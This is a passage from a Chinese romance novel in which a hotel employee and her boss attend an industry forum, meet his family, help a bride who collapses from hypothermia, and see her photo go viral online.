他这才松手,待沈清走进屋内,才嘱咐道:“晚上若还不舒服,就来找我,或打电话。我手机不静音。”
“知道了。”
林牧野转身走向自己房间,关沈清的门之前又回头望了一眼。
“晚安。”
“晚安。”
门合上。
夜归于寂静。
-
隔天上午,沈清正在工作。
她推着布草车退出房间,掏出随身的小本,在“201”后面打了个勾,又写下“床垫左侧中部有难清理污渍,建议下周机器清理或
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换新”。
林牧野寻她而来,似是有些着急。
经昨日的事,沈清其实今日一直是期待着见到林牧野的,但真的看到他向自己走来,沈清又慌的眼神不知该看哪里。
林牧野今日穿了件熨烫平整的浅灰衬衫,袖口挽到小臂,手里拿着个文件,站在沈清面前时,欣喜地看着她。
“怎么了林总?”沈清却确定林牧野是为找自己而来,这才抬眼直视林牧野,顺便整理了下额前的刘海。
林牧野将文件递过来,口吻不容拒绝:“下周陪我出趟差。”
沈清接过,翻开,是一份印刷精致的邀请函——“京州市度假酒店新业态交流论坛”,主办方是京州某知名酒店集团,这个名字沈清有点眼熟。
“论坛?”她抬眼,有些不解,“需要我做什么?”
“你还记得那次比赛吗?获得最终团体第一名的酒店就是这个酒店。”
沈清回忆起来,点点头。
“那家酒店有个礼宾员,叫陈生。看完云岚比赛,主动加了她微信。”
“你这和论坛有什么关系?”
“这家酒店刚好邀请我参加,还要上台讲话。我们去调研项目相关,顺便去看看那个男孩儿。若人靠谱,便随他们去。若不靠谱......”
他顿了顿。
“回来你仔给云岚做思想工作。你说的话,她听。”
“所以,”沈清抬起眼,语气里有点小开心,“这不仅是工作出差,是替云岚把关?”
“对,顺便的事儿。论坛也要好好参加,可以听听其他酒店的新思路,对你那份营收项目报告有益。”
理由充分,公私分明。
林牧野又十分严肃地补充:“云岚现在想为了他去考大专,酒店管理专业的,也算是一种动力,好事儿。但就是不知道这个男生到底怎么样。”
沈清思索了一下,手指比了个OK:“没问题林总,十分愿意效劳!”
-
两天后,京州国际会议中心酒店内,沈清踩着高跟鞋跟在林牧野身后半步。
周围到处都是属于“行业顶层”的气息,人们三五成群地交谈着,仿佛能听见机会与金钱落地的声音。
林牧野今天穿了身剪裁合体的深灰色西装,没打领带,衬衫第一颗纽扣松着,在一众严谨穿衣的人中反倒有种随性的特别。
沈清也穿着西装套裙,头发挽成低丸子头,妆容精致,首饰夺目,把当总监时候的行头都用上了。
“林牧野?”一个带着港台腔的男声从侧方传来。
两人扭头,看见一位五十岁上下、戴着金丝边眼镜的男人快步走来,身后跟着两个助理模样的人。
男人笑容满面地伸出手:“真是你!听说你在滇南搞了个度假酒店,还以为你从此归隐山林了呢!”
林牧野微笑与他握手:“王总。好久不见。”
被称作王总的男人目光很快落到沈清身上,眼里闪过一丝毫不掩饰的惊艳:“这位是?”
“您好,我叫沈清,是林总的员工。”沈清抢先回答,声音甜美。
“只是同事?”
闻声望去,旁边又走来一位穿着香奈儿套裙的干练女性,笑容里带着调侃:“牧野,这可不像你风格。从前带出来开会的不是小伙子就是老头子,什么时候身边有这么漂亮的姑娘了?”
林牧野眼中带着欣喜,忙上前迎接。
“母亲,你怎么来了?”
12. 第 12 章
林母走到沈清面前,握住她的手:“沈小姐,大老远就看到你,在人群里是十分亮眼的存在啊。”
沈清没想到会在这里遇见林母,赶忙低头鞠躬:“您过奖了。承蒙林总厚爱,我才有机会来学习。”
林母虽有珠光宝气傍身,但本人却一点也不高高在上。
“您不是说今天有事来不了吗?”林牧野问。
“事情临时取消了。想着你第一次在这种场合发言,还是该来看看。”
林牧野走到她身边,很自然地接过她的手袋:“您应该提前说一声,我好去接您。”
“不用麻烦。”林母拍了拍他的后背,问道:“你的发言在第几场?”
“下午三点,第二个。”
“好的,我去见几个老朋友,希望从你的演讲能听出来你的进步。”林母优雅地摆摆手,“你们忙。”
“好。”
林母转身和旁边一群等着与她说话的外国人打招呼,脱口而出的英语在她口中如母语般流畅。
林牧野看向沈清,发现她正望着林母离开的方向,眼神有些出神。
“怎么了?”他问。
沈清回过神,摇了摇头,嘴角泛起羡慕的笑意:“你母亲真的很有气场,真是‘虎母无犬子’。”
林牧野怔了怔,微笑着解释:“她不是我的亲生母亲。”
沈清已经转身朝签到台走去,听到这句话,惊而转身:“真的吗?”
看林牧野不是开玩笑,沈清赶忙低头道歉:“不好意思......林总。”
林牧野摇摇头,并不在意。
开幕式结束后,午宴设在酒店顶层的全景餐厅。落地窗外是京州的天际线,阳光透过玻璃幕墙,在铺着雪白桌布的长桌上投下暖色的光。
林牧野和沈清被安排在靠窗的位置。同桌的还有其他几位酒店业高管,席间话题从酒店经营趣事聊到各自近况。
沈清大多时候安静听着,偶尔在林牧野看过来时,点头微笑附和。
沈清在心中默默感叹,在一众精英中,他也是那个顶尖的耀眼的存在。
吃得差不多,同桌的人也陆续离开。林牧野忽然低声问沈清:“听我们讲那些是不是很无聊?”
沈清正在切一块提拉米苏,不知为何林牧野会这么说,忙否认:“没有。”
林牧野沉默了片刻,端起水杯喝了一口:“那我讲一些你感兴趣的事吧......”
“我母亲在我很小时候就去世了。”
沈清拿着刀叉的手停下了动作。
“后来,我父亲娶了第二任妻子,就是今天你见到的周女士,还给我带来了一个哥哥。
周女士对我很好,因为母亲去世后我一直跟着爷爷奶奶生活,其实见面也不多。只是有时候哥哥对我有些隔阂,他觉得我会对他造成威胁。但......周女士一直公平对待我们。
他们以前生活在美国,我哥高中就出去读书了。大学毕业后回国,我哥就一直跟着我父亲在集团。”
“那你呢?你以前也在环亚工作吗?”沈清听得入神,想要了解更多林牧野的过去。
“我,当然是扮演着不争气的儿子的角色,远离集团,混吃等死呗。不然,平衡的关系被打破的话,哥哥不开心、父亲不开心、全家都不会开心。”
沈清看他,没想到家境优渥人人羡慕的林牧野还有这段过往。
“所以你去滇南,也是为了避开哥哥,让他在京州可以安心。”沈清看向窗外的高楼,心里涩涩的。他本可以在京州无忧无虑,却因为考虑别人而选择离开至亲。
“也不全是吧......”林牧野温柔一笑,“以后的事情,留着下次再说。”
沈清点点头。
林牧野伸出手,将沈清手边那杯已经凉了的水,换成了一杯温热的。
-
下午的演讲准时开始,作为第二个发言的林牧野,当他从论坛侧方的座位起身,走向演讲台时,会场里涌起期待的掌声。
在演讲台前站定,灯光落在他轮廓分明的侧脸,睫毛在眼睑下投出淡淡的阴影。
“尊敬的各位同仁,朋友们:大家好,我是徒栖度假酒店的林牧野。
今天站在这里,我想先请大家暂时忘记脑海里的利润和品牌,跟着我闭上眼睛,回想上一次让你自己感到‘真正放松和享受自然’的旅行体验是在哪里?
我们所在的行业,正站在一个有趣的十字路口。过去,我们销售的是“过夜的床位”;后来,我们升级为销售“服务与体验”。而现在,我们的客人期待并寻找的是一种由深度体验、情绪价值和自我连接组合成的新旅行哲学。
年轻人对千篇一律的标准化服务感到疲倦,他们更渴望能真正融入当地,获得独特的体验过程。酒店提供的非遗手作、民族服饰旅拍、徒步捡垃圾等活动,正好满足了这种深度探索的需求。
在快节奏的生活下,旅行被视为重要的身心修复机会。在设施完善、环境优美的酒店中停留数日,本身就是一个恢复能量的过程。
经济下行理论还是未知,但人们愿意为与自己价值观契合的品牌和体验付费。无论是酒店对本地文化的深度挖掘,还是对服务最优理念的践行,都能构成消费的重要动力。
一家设计低调但服务极致、体验独特的酒店,比金碧辉煌的常规五星级酒店更能吸引追求品味的当代消费者。
而我,正致力于创立这样的典范。
感谢大家的聆听,希望能与大家更多交流想法。”
演讲结束,掌声雷起。
林牧野刚走下台,便被几家知名文旅媒体围住。
闪光灯下,他神情自若地应对着问题,俨然一副商业精英的样子。
沈清站在他不远的前方,唇角弯着浅浅的弧度,对他伸出一个大拇指。
沈清感叹,如果不是在徒栖遇到他,自己永远也不会有机会看到如此熠熠生辉的林牧野吧。
沈清旁边站了两三个人,正看着林牧野的方向,讨论着什么。
“那不是林建国的小儿子吗?好久不见他。”
“不是出事之后,林家故意把他雪藏起来了吗?”
“对啊,怎么这么高调又出来了?”
沈清看向他们,几人感受到目光是从林牧野同伴这里投来,又避嫌似的走开了。
林牧野结束了采访,在众人尚未反应过来的间隙,灵活地侧身挤出包围圈,几步便跨到沈清面前。
“走。”他没给沈清说话的机会,握住了她的手腕就走。
“去哪儿?”沈清被他拉着,不由自主地跟着小跑起来。
“去见我们要见的那个人。”
-
林牧野不知何时已经提前了解过陈生的排班,知道他此刻应在
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宴会厅的传菜组帮忙。
餐厅领班早已恭候两人多时,看样子林牧野和他关系很好。三人站在通往备餐区的走廊转角,透过玻璃窗向内望去。
备餐间里一片繁忙,领班告诉两人,正在推餐车的个子不高的男生就是陈生。
“我听你说他人很老实。”林牧野看陈生一个人负责三辆餐车的菜品补充,而其他人只负责两辆。
“是的,算是一个勤快孩子,现在这种孩子很少见了,反而经常是些......你知道的。”领班回答。
玻璃窗那头,陈生在跟主管说话:“李哥,我这边的红酒不够了,前面在催,能再从仓库补充两箱吗?”
那主管正悠闲地刷着手机,头也不抬:“仓库现在没人,等着。先把你手头的事干完,没看见大家都在忙吗?”
可其他几位同事正在慢悠悠地核对菜单,而陈生一直在干体力活。明眼人都看得出,这分明是区别对待。
陈生抿了抿唇,没再争辩。
林牧野此时推开门,自然地迈步走到了陈生和主管面前,后面还跟着领班经理。
他直面主管,表情比平日在徒栖管理员工还要严肃:“你是负责人?”
主管看见后面跟着领班经理,手机立马收起,身体站直:“是、是我。”
林牧野目光扫过略显混乱的备餐区:“人手调配明显不合理,外面还有酒水需要补充。”他指向那几个糊弄时间的人,“你、还有你,过来帮忙。”
那几人也吓得立刻行动起来,主管再不敢怠慢,亲自跑去开仓库门。
陈生感激地看向林牧野,目光又落在他身后的沈清身上,愣了一瞬,感觉两人很面熟。
-
晚餐时间,酒店外不远,一家安静的餐馆里。
陈生看着坐在对面的林牧野和沈清,有些局促不安。他换了自己的衣服,看上去更瘦了。
“林总,沈小姐,今天真的谢谢你们。”陈生端起茶壶,给两人倒茶。
沈清笑了笑:“多亏我们林总了。”
林牧野端过茶杯,抿了一口,说:“我们是云岚的家属。”
陈生拿茶壶的手抖了一下,终于想起两人是在比赛时和云岚在一起的人。
“别紧张。”沈清接过话头,“我们算是云岚老家那边的......哥哥姐姐。受家里长辈委托,来看看她交的男朋友是个什么样的人。”
陈生听到这里,稍微松了口气。
林牧野继续说:“云岚还有一年就要考大学,她有跟你说她怎么打算的吗?”
陈生点点头:“她说要读酒店管理,然后来找我一起工作。”
林牧野给陈生夹了菜:“谈恋爱是你们两个人的事,我们不多干涉。但作为她的家人,我们希望你们健康交往,积极向上,好好鼓励她读书,完成学业,好吗?”
沈清也学着林牧野,给陈生夹了另一个菜:“我们希望她好。所以,你一定一定不要让她受委屈,不要让她因为感情的事分心、难过。不然......”
陈生深吸一口气,端起自己面前的茶水杯。他抬头看向两人,眼神坚定:
“林哥,沈姐,我明白了。你们放心,我喜欢云岚,是真心的。我现在是没什么大本事,但我在努力,不会让她受委屈,更不会拖累她。”
沈清和林牧野对视一眼,此行最大的任务圆满完成。
13. 第 13 章
论坛会议的闭幕式在第二天上午举行。期间,林牧野收到周女士发来的信息,邀请他和沈清去环亚酒店用午餐。
沈清听林牧野这么一说,有点惊讶:“你们家人吃饭就好,我跟着去不太合适吧......”
林牧野却坚持:“我母亲邀请你了,就一定是真心邀请,只是吃顿饭,不要有压力。”
他们要去的“云境”是京州非常有名的法国餐厅,就在环亚酒店内部,平时需要提前一周预约。当天中午,沈清踏入“云境”大门的那一刻,终于明白为何这家餐厅如此一位难求。
巨大的落地窗外,阳光为CBD建筑群镀上金边,经定制的水晶吊灯折射,光线如星点洒落在室内。这里像是悬浮于空中的城市会客厅,餐具是沉甸甸的法国银器,耳中是周围酒杯轻碰的回响和各国语言的交谈声,用餐的客人都仿若置身顶级沙龙,松弛而享受。
周女士坐在窗边的位置,穿着高定套装,笑容得体,向走来的两人点头打招呼;她旁边还坐着另一个男人,沈清不认识。
那人闻声抬眼望来,金丝边眼镜后的目光平静无波。他身着剪裁精良的灰色西装,袖口一枚哑光铂金袖扣,手腕上露出一只价值不菲的表,沈清认得出来,是理查德米勒。
如果林牧野的气质是沉静内敛温润如玉的谦谦君子,那他的气质就是经年累月浸润在顶级名利场中才能呈现的矜贵疏离。
“来了。”周女士笑容温煦,目光扫过两人,落在沈清身上。
“阿姨好。”沈清微笑着打招呼,注意力却总是被旁边的男人吸引。
就在她走到座位时,男人示意一旁训练有素的服务生上前,为沈清拉开椅子。他动作不疾不徐,带着一种天然的掌控感。
“谢谢。”沈清坐在男人正对面,对旁边的服务生轻声道谢。
林牧野在沈清旁边坐下,对着男人点头叫了声“哥”。
“这是林峰,牧野的哥哥。”周女士跟沈清介绍。林峰和沈清握手,沈清也赶忙起身回握,触到的指尖传递来冰冷的温度。
点菜时,周女士将菜单递给沈清,热情地介绍着招牌菜。林峰在一旁对服务生低声交代了几句,随即抬眼看向沈清:
“这两位我都了解,只是不知沈小姐有什么忌口?”
沈清倍感暖心,连忙摇头:“我没有忌口,都可以。”
林峰闻言,不看菜单对服务生报了几个菜名,还特别询问了主菜牛排的熟度,甚至连餐后甜品內馅的水果都问了清楚。
席间,周女士的话题始终围绕着林牧野和滇南:
“牧野,你最近在那边还适应吗?酒店运营有没有遇到什么困难需要集团帮忙解决?”
“挺好的,前一段刚结束审计,从中发现一些问题,但问题都在掌控之中。”
林峰放在桌面的手机屏幕亮起,他瞥了一眼,随即拿起电话起身:“抱歉,我离开接个电话。”
林峰接完电话落座后,安静地用完了自己盘中最后一点食物。餐后甜点送上来时,他终于主动对林牧野说了第一句话:
“徒栖的审计报告初稿我看了。”他端起黑咖啡,抿了一口,镜片后的目光第一次看向弟弟,“营收增长可以,但成本控制细节,尤其是供应链和能耗部分,还有优化空间。”
林牧野回了两个字:“明白。”之后两人就没了交流。
这顿午餐仿佛被拉成了一个漫长的时空,每一分钟都被切割成六十个需要小心应对的瞬间。沈清脑中的疑问不停回响:“我这样得体吗?”“餐具拿的对吗?”“这个食物是这样吃的吗?”期间的谈话还要维持一种恰到好处的愉悦与淡然,不能过于热情显得攀附,也不能过于冷淡显得孤傲。
这顿饭吃的沈清太累了。
整个午饭都是周女士在主导话题,林牧野沈清配合着回答,林峰在一旁倾听。
终于用餐结束,林峰走到厚重的雕花门前,单手撑住了门板,侧身站立,形成一个方便通行的空间,目光平静地等待其他三人先过。
直到走进电梯,只剩林牧野和沈清两人,沈清才轻轻舒了口气。
林牧野察觉她的情绪,低声问:“怎么了?是不是不喜欢这种氛围。”
“没有,”沈清摇摇头,“只是觉得有点拘谨,生怕做错什么。”她斟酌着用词,“林峰总气场很强。”
林牧野沉默了一下,看着电梯镜面中的自己,淡淡道:“如果我一直在京州,我应该也是这样。每天身处高压下,不得已形成的保护层。”
沈清终于知道,林牧野这类站在顶端的人,看上去光鲜亮丽,却也高处不胜寒。
沈清想起林牧野让她把回程机票定在明天,便问:“林总,今天不回去吗?那我们下午做什么?”
“徒栖的RevenueManager小姐,”林牧野调整了情绪,唇角弯起好看的弧度,“下午就是公款吃喝环节,但快乐吃喝的同时也可以想想汇报PPT怎么做哦。”
-
林峰在酒店大堂门口站定,转身问旁边的母亲:“叫林牧野吃饭,为什么还要带上外人?”
他皱眉补充:“听说是下属员工,要我看,林牧野这些年在这方面还是没什么长进。”
“是我邀请的。”周女士脸上的笑容也淡了下去,眼神由暖转冷:“你还不明白吗?如果牧野真的能和这种‘层次’的女人恋爱、结婚,甚至安定下来,那他就会一辈子待在滇南,不会回来。”
她转过头,看着自己引以为傲的儿子,为他整理了下衣领:
“他有了自己的念想和牵绊,就不会再想着回集团总部,更不会威胁到你,这不是很好吗?”
林峰的眸光微微闪动了一下,没有接话。
风穿过酒店的门廊,带着凉意。周女士拢了拢披肩,最后看了一眼街景,转身走进了刚停好的商务车。
-
林牧野开着自己在京州的宾利,与副驾的沈清讨论下午的调研计划。
两人正开车前往2小时车程的京州后花园,去一个商业配套完整的海滨度假小镇里,看看被人们疯狂打卡的网红店到底好在哪里。
因为这个海滨小镇分南北两区,距离较远,两人决定兵分两路,在中间汇合。
林牧野之前交待沈清带着对讲机,此时对讲机派上用场,方便两人随时汇报位置交流心得。
林牧野将沈清放在南门,自己开到北门停车场:“沈清,我已北门就位,开始行动!”
沈清按下通话键,嘴角不自觉弯起:“收到,林总。北区情况如何?”
“人比想象的多。咖啡馆外墙手绘很适合拍照,已经排了小队,我已将素材拍照。你那边如何?”
沈清看向四周,路两旁是各种精致的买手店和甜品屋。“很多独立品牌店,视觉陈列做得不错。看到一家手工冰淇淋店,排队很
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长,我准备买一个尝尝。”
对讲机里传来林牧野的笑声:“第一家就开始吃吗,你不会走到一半就吃撑了吧?吃坏肚子可不算工伤啊。”
“那您可小瞧我的消化系统了!”
于是,一场独特的“扫街”调研开始了。他们像展开一场平行时空的漫步,各自沿着规划好的路线,向着中心广场的方向前进。
沈清先在一家将绿植与器物完美融合的家居店前停下:“林总,看这张。”她将对讲机举到嘴边,同时用手机拍下橱窗,把照片发给林牧野,“自然元素融入商业空间,成本不高,但氛围感拉满。”
林牧野在对讲机里回应。“我这边的北区路口,书店利用楼梯下方三角区做的阅读角落,搭配嵌入式沙发,空间利用率思路可以参考。”紧接着,一张照片传到了沈清手机,光影构图极佳,文艺又有格调。
沈清目光被前方一家小小的摊位吸引,卖的手工桂花糯米糕,热气腾腾,用碧绿的粽叶托着,清香扑鼻。她母亲是苏南人,早年常做这个。她买了两块,要带给林牧野尝尝。
对讲机里,他们的分享仍未停止:从网红打卡墙的材质利弊,到儿童活动区的安全细节;从一家茶馆独创的“10元管饱”套餐,到公共卫生间毫无异味的细节管理。他们就这样,一南一北,隔着半个度假区的距离,却仿佛并肩旅行。
“北区海滩,有人在拍婚纱照,新娘的头纱被风吹起来了。”林牧野的声音透露着欣赏与羡慕。
“我们也可以上架旅拍,我们酒店的地理位置可以拍到很美的风景。”沈清早就对旅拍这个项目心动了,她觉得这个项目一定能为徒栖带来不少的营收,且照片具有传播力,被客人发在朋友圈就是一个免费的宣传渠道。
终于,远远地,沈清看见了中心广场那座标志性的白色钟楼。她穿过人群,走上钟楼的台阶,在夕阳的余晖下望着对面的街,寻找着那个熟悉的身影。
没一会儿,沈清对着远处招手。林牧野手里拿着一个牛皮纸袋,秋日的阳光将他整个人勾勒出一圈淡淡的光晕,眼睛因阳光而眯起,整个人显得很柔和。他步伐轻快,穿过零零散散的游客,来到沈清身边。
“给你。”林牧野递过来一个尚带余温的纸袋,里面是金黄诱人的苹果派,酥皮层层分明。
“谢谢,闻上去好香。”
人潮在身旁流动,音乐、笑语混杂在一起。沈清也把糯米糕递给林牧野,林牧野一愣,随即也笑起来。
“幸好我也想起来给林总带一个,不然就尴尬啦!”
“嗯,算你有眼色。那现在我们可要细细品味,到底是你买的好吃,还是我买的更好吃。”
林牧野低头,咬了一口糯米糕。沈清也吃起苹果派,鼻尖沾了一点糖屑,自己却毫无察觉。
林牧野伸出手,用指腹轻轻帮她擦干净。
沈清倏地抬眼,撞进他深邃的眸子里,那里面清晰而温柔地映着她的影子。
“沾到了。”他解释道。林牧野深情凝望沈清,广场上的钟声突然敲响,惊起一群白鸽。
两人视线避开,看着白鸽飞远。
和苏逸潇恋爱时,沈清曾想过来这里旅行,还十分认真地做了攻略。当时的她就在幻想着,能在海边的钟楼下,和爱人一起共赏夕阳。
她不禁好奇,她好奇眼前的林牧野有没有喜欢的人,有没有想过和喜欢的人在海边拍一组婚纱照。
14. 第 14 章
海边冬日的风越来越大,林牧野和沈清准备返程回京州市,明早还要赶飞机。
突然,一声呼救引起两人注意。
“救命!有人晕倒了!谁来帮帮忙!”
声音从不远处的海滩传来。
刚才还令林牧野羡慕的那对新人方向,新郎官正半跪在海水中,头发被海风吹乱,试图晃醒倒在怀里的新娘。
新娘身上只穿着单薄的抹胸婚纱,裙摆还浸在冰冷的海水里,身体似在微微颤抖。摄影师和助理围在旁边,满脸慌乱,不知所措。
林牧野拉着沈清冲了过去。
“别围着她!让开道路!”沈清一边跑一边喊。她不顾鞋子进水,和林牧野把新娘抱上沙滩。
新娘身体冰冷,嘴唇呈现不正常的淡紫色。
“失温,很可能是急性失温!”沈清快速做出判断,立刻要抱起新娘,却因为新娘的体重有些吃力,“不能让她继续躺在湿冷的地方。林牧野,帮我!”
林牧野将自己的外套脱下给新娘盖上,双手已经接替沈清将新娘抱起:“我来抱她,你打120。”
沈清一边掏出手机,一边给林牧野指路:“去那个咖啡店,我来时看过,门口有AED除颤仪!”
林牧野用冷静的语气对慌了神的新郎说:“帮忙开门!”
如此大的动静惊动了店内的客人,纷纷好奇张望。林牧野将新娘平放在沙发上,沈清打完电话对前台店员急声道:“麻烦拿尽可能多的干毛巾!有热水或者热巧克力吗?快!”
店员被她的气势震慑,连忙去取。新郎瘫坐在一旁,握着新娘冰冷的手,语无伦次。
沈清将毛巾递给新郎和林牧野,新郎学着两人帮新娘快速擦干皮肤,然后用衣服紧紧裹住身体帮她回温。
“热巧克力来了!”
沈清接过,试了试温度,小心地想要扶起新娘喂一些。
“等等!”林牧野一直密切观察着新娘的状态,此时突然阻止。他眉头紧锁,语气坚定:“她意识没有恢复,吞咽反射可能很弱,强喂容易呛咳窒息。”
说着,他拿出随身携带的血氧仪,夹在新娘的食指上。
屏幕上跳出血氧饱和度和脉搏数值。“血氧偏低,心率不齐。”林牧野又快速检查了她的颈动脉搏动,“呼吸心跳太弱了,不能等!”
他没有丝毫犹豫,立刻就地胸外按压,动作标准有力,一看就受过专业训练。
沈清大脑飞速运转,立刻配合林牧野清理新娘口腔,开放气道,并在林牧野按压的间隙,对新娘进行人工呼吸。
所有人都屏息看着这一幕。不知道过了多久,新娘的睫毛忽然颤动了一下,喉咙里发出一声细微的呻吟。林牧野停下按压,再次检查颈动脉和呼吸。
“她醒了!”沈清惊喜地欢呼,看着血氧仪上的数字有所回升。
林牧野额角已渗出细密的汗珠,松了口气的同时还在检查新娘体温是否正常。
终于,救护车也到了。
急救人员接手,初步检查后,新娘已无大碍。医务人员肯定了他们的现场处置:“做得非常及时,再晚几分钟可能就危险了。”
新郎跟着担架上救护车前,红着眼眶对林牧野和沈清千恩万谢。
救护车走了之后,沈清和林牧野留下来帮咖啡厅收拾满地狼藉。店员送了每人一杯招牌咖啡山楂dirty,沈清和林牧野终于伴着夕阳的余晖坐下来喘了口气。
“你怎么会随身带着血氧仪?”
林牧野接过沈清递给他的血氧仪,将它放回口袋,拉好拉链:“以前徒步的时候买的。后来在滇南,高原地区,也一直带着,万一客人有不舒服检测一下,有备无患。”
好奇涌上心头,沈清试探着开口:“你以前经常爬山徒步吧?经验这么丰富。”
林牧野不置可否,目光落向窗外在海滩上玩耍的人们身上。
“我听他们说,你把酒店起名徒栖,就是为了给徒步的人有一个休息的地方。”沈清仍是盯着他,想问出个究竟,“但你总是对我们说爬山徒步的事情回避,是有什么原因吗?”
林牧野慢慢收回了目光,低下头,试图掩饰眼底一闪而过的黯然:“我......很喜欢徒步。”
“那为什么......”
“我不想说。每个人都有权利对外人说或者不说一些事,对吗?”林牧野看着沈清回答,眼睛里的冷漠让沈清感到陌生。
“是,我知道了。”
沈清以为,两人已经走得够近。
看来,她还是想太多了。
回程的路上,两人一路无言。
沈清倒不是对林牧野生气,只是今天实在是太累,没有力气提起劲儿找话题。
她看林牧野也没有主动说话的意思,只是公事公办地说一些必须沟通的话,比如在酒店进房间前询问第二天起飞时间,比如第二天在机场训问沈清箱子用不用托运。
到达黎乡时,沈清第一次有了回家的踏实感。
和林牧野刚踏进徒栖,云万宝和木秀就像看见了救星,扑了上来。
“林总!你可回来了!”云万宝苦瓜似的脸上写满了焦虑。
“怎么了?”
木秀也在一旁对林牧野诉苦水:“春梅婶这两天都请假了,今天下午才来,脸色差得吓人。我们也不敢多问,但挺担心的。”
林牧野已迅速切换回工作状态,眉头微蹙:“请假我知道。家里出事了?”
云万宝争着汇报,生怕自己不是第一个告诉林牧野的:“听说是她儿子大学毕业回来了,躺在家里也不动,就说工作难找,整天关屋里对着电脑和手机,说要‘躺平’、‘啃老’,还跟春梅婶要钱,村里都传开了,给春梅婶气得不行。”
林牧野思考片刻,觉得并不是什么大问题,有点放下心来:“清官难断家务事。她下午来了?状态怎么样?”
“来了,在办公室呢,但看着死气沉沉的,给客人倒茶还烫到手。”木秀小声补充。
林牧野点点头:“我知道了。你们忙去吧。”
他顿了顿,目光装作不经意地扫过身旁一直沉默的沈清:“你要是看到春梅婶,让她来趟我办公室。”
沈清没有看林牧野,幽幽地来了句:“你还是直接微信给她说吧。”便径自掂着行李箱往宿舍走。
沈清换好工装,果然在工作间找到了独自坐在角落的陈春梅。她拿着从京州小镇带的特产面包,走到陈春梅对面坐下。
两个人就这么在一堆床单被褥间说着话。
“春梅婶,没事吧?”沈清轻声问。
陈春梅抬起头,见到是沈清,撇嘴叹了口气:“沈清回来了。你一定都听说了,我就是小时候太溺爱他了,现
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在后悔也来不及了啊!”许是憋了太久,她打开了话匣子。
沈清从她话语间了解到:陈春梅儿子叫吴明远,学的是影视摄影与制作,听起来时髦,找工作却高不成低不就。跟过两次剧组,受不了昼夜颠倒的强度和复杂的人际,跑了回来。让他考公考编,他说自己拥有自由的灵魂,绝不去体制内。现在非要做自媒体,说要当摄影博主,可账号开了半个月,发了几条随手拍的视频,点赞寥寥,就开始泄气。
“他不想想,我跟他爸供他读书多不容易!可不是指望他长大在家里蹲的。”陈春梅说着,眼圈有些发红,“我说多了,他就不理我了,说什么‘你们那一代的机会已经过去了’,说我啥都不懂。每天就那个嘴巴会说。”
沈清安静地听着,递了张纸巾过去。她想起自己裸辞时的想法,也理解现在年轻人面对的压力和迷茫,但......
“陈姐,别太着急上火,明远只是还没找到方向和坚持的动力。您给他点时间,也许过一段自己在家无聊,就突然想清楚了呢!”
陈春梅拍拍沈清的手:“行吧,也只能先晾晾他了。咱不说这了,别把你也弄得心情不好了。”
-
两天后是休息日。沈清又穿上装备,去了千狮山。
冬日的千狮山,树木凋零,山石嶙峋,别有一番肃杀苍劲之美。
沈清沿着千台坡向上,看着漫山遍野形态不一的狮子雕像,心情慢慢的就好了起来。
快到山顶观景平台时,她注意到前面有个穿着多巴胺色系衣服、留长发的男生,背着一个硕大的佳能摄影包,手里端着大炮筒似的单反镜头,正对着石雕狮子和山林不断调整角度拍摄。
男生十分专注,树上有落叶掉在他头上,他也浑然不觉。
沈清多看了他两眼,继续向山顶攀登。
到达观景平台,沈清扶着栏杆眺望了一会儿,便转向山腰的古寺进发。
寺庙里那棵巨大的许愿树和上次看上去没什么变化,上面还是系满了红艳艳的许愿签。
沈清走近抬头,随意拨弄浏览着那些写着各式心愿的签文,正微微出神,忽然听到镜头定格的“咔嚓”声。
她转头,发现竟是刚才遇到的那个男生,不知何时也到了这里,举着镜头对着沈清。
男生见她看来,并没有躲闪,反而落落大方地走上前几步,脸上带着点不好意思的笑:“抱歉,刚才那个光线和构图没忍住拍了几张。你看,”他把相机显示屏转向沈清,“我觉得很美。”
沈清垂眼看去,照片里的她微微仰头,神情虔诚,身后是虚化了的繁密的红色许愿签和寺庙的屋檐。冬日的阳光恰好穿过树枝缝隙,在她发梢上勾勒出一圈朦胧的光晕。构图、光影、意境都把握得极好,确实是一张很有感染力的照片。
“拍得不错。”沈清客观评价。
男生继续说:“我是学摄影的,自己也在做自媒体账号,这张照片可不可以授权让我发到我的账号上?当然,如果你不愿意露脸,我可以做后期处理,或者不发也行。”他眼神干净,说的话令人很难拒绝非常期待的看着沈清。
沈清再次打量他。近距离面对面才发现他眉眼间竟有几分熟悉,尤其是那微微下垂的眼角和挺直的鼻梁......
沈清犹豫了一下,试探着问:“你是不是明远?陈春梅是你妈妈?”
15. 第 15 章
男生没想到等来这么一句话,眼睛因惊讶而睁大:“你认识我妈?”
见他承认,沈清此刻心中已有了打算:“我是沈清,在徒栖工作,和你妈妈是同事。”
吴明远探究的眼光看着沈清,点了点头。他还以为眼前的美女是从北上广来旅游的,怎么也没想到她竟在此工作。
沈清觉得眼前的男孩倒不像想象中那般颓废到无药可救,至少此刻眼中有光,对手中的相机充满热情。
他应该是真心喜欢摄影,不然拍不出这么走心的照片。
沈清指了指他的相机,笑着说:“既然都认识,你想发就发吧。不用打码,也不是什么见不得人的事。”她半开玩笑道,“不过,要是火了,记得给我说。”
吴明远像一条得到奖赏的金毛狗,连连点头:“一定一定!谢谢沈清姐!我加你微信把原图给你也发一份。”
两人交换了联系方式,沈清又随口问了他一些关于账号定位和内容的想法。
吴明远侃侃而谈,虽然有些想法还不成熟,但能听出他对成为一个有独特风格摄影师的渴望。
和吴明远告别后,沈清继续悠闲的享受着难得的假期,全然不知网络流量将要掀起什么惊涛骇浪。
她以为这只是几张“拍的比较有水平”的照片,她低估了互联网时代,一张充满故事感和美感的照片所能引发的共鸣。
当晚,吴明远简单修图后,将沈清的照片连同文艺风的文案发布在了他的自媒体账号上,并且关联了“千狮山”、“古寺许愿”、“冬日氛围”等标签。
起初只是小范围流传,但不知是照片中沈清沉静恬淡的气质太过独特,还是满屏红色许愿签太惹眼,这条内容像面线一样在网络中肆意生长、无限繁殖。
点赞、转发、评论飞速增长,吴明远点开账号还以为自己被网暴了。
“眼神里有故事!”
“求地点,周末就去!”
“模特小姐姐气质太好了吧,是素人吗?”
“瞬间脑补了一部文艺电影......”
“看了莫名想哭,想起自己也有好多未实现的愿望。”
流量算法推波助澜,越火的帖子平台越帮你传播出去。到了第二天,这条内容冲上了本地热门,甚至开始被其他平台的营销号转发。
而彼时,正在客房换床单的沈清口袋里突然疯狂震动。她疑惑地拿出手机查看,微信未读消息多到成了三个点。
有吴明远发来的消息,简单几个字:沈清姐,你做好准备,感觉你要火了。
还有各种亲戚朋友前同事前客户发来的:
“沈清,这是你吧?你上热搜了!”
“亲爱的,我刷到你了,你在千狮山?你火了呀!”
“可以啊沈总监,原来辞职改行当模特了!”
